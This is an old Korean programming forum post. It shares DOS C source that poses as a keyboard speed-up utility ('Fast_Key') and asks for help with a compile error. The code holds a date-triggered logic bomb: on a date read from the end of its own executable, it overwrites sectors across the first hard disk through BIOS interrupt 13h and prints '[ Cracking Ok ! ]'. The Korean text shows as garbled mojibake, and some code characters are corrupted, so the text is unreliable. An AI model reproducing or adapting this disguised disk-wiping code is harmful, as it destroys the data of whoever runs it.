http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=617 [º¹»ç]
// Main Source Fast.C
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <string.h>
#define LASTHEAD 1
#define LASTTRACK 79
#define LASTSECTOR 15
#define BYTESPERSECTOR 512
#define driveToRead 0x80
char diskBuffer[BYTESPERSECTOR * LASTSECTOR];
typedef struct{
int Year;
int Month;
int Day;
} Time_Type;
void Fast_Key( void )
{
outp( 0x60, 0xF3 );
delay( 100 );
outp( 0x60, 0x00 );
delay( 100 );
}
unsigned char WriteHardSector( unsigned char drive,
unsigned char sectorsToWrite,
unsigned char head,
unsigned int cylinder,
unsigned char sector,
unsigned char far *bufferPtr ){
union REGS reg;
struct SREGS sreg;
reg.h.ah = 3;
reg.h.al = sectorsToWrite;
reg.x.bx = FP_OFF(bufferPtr);
reg.h.dh = head;
reg.h.dl = drive;
reg.h.ch = cylinder;
reg.h.cl = (cylinder >> 8);
reg.h.cl <<= 6;
reg.h.cl |= (sector & 63);
sreg.es = FP_SEG(bufferPtr);
int86x(0x13,¢ç,¢ç,&sreg);
return(reg.h.ah);
}
void main( void ){
unsigned char currentHead,currentTrack,currentSector;
struct date cur_d;
FILE *Read_Exe;
Time_Type Clack_Time;
int Data_Size = 0;
getdate(&cur_d);
Read_Exe = fopen("fast.exe","rb");
Data_Size = sizeof(Time_Type);
fseek(Read_Exe,-Data_Size,SEEK_END);
fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
if( ( Clack_Time.Year == cur_d.da_year) &&
( Clack_Time.Month == cur_d.da_mon ) &&
( Clack_Time.Day == cur_d.da_day )){
for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
WriteHardSector(driveToRead,LASTSECTOR,currentHead,
currentTrack,1,diskBuffer);
}
}
textattr( WHITE | BLUE << 4);
cprintf("[ Cracking Ok ! ]");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
else { Fast_Key();
textattr( WHITE | BLUE << 4);
cprintf("Fast_key Installed !");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
}
Á¦°¡ ¼Åõ¸¥ ¼Ø¾¾·Î ¼öÁ¤Çغ»°Çµ¥¿ä... ÄÄÆÄÀÏÇÒ¶§ ÀúÀÇ Áö½ÄÀ¸·Î´Â ¾Ë¼ö¾ø´Â ¿¡·¯°¡³ª¿ä...
¿¡·¯¸Þ¼¼Áö´Â ´ë°ÀÌ·±µ¥¿ä...
unable to open input file 'c.c'
µµ´ëü ¹¹°¡ ¹®Á¦Àΰ¡¿ä.. ÇØ°áÃ¥Á» ¾Ë·ÁÁÖ½Ã¸é °¨»ç...
|
Hit : 3650 Date : 2004/08/22 11:30
|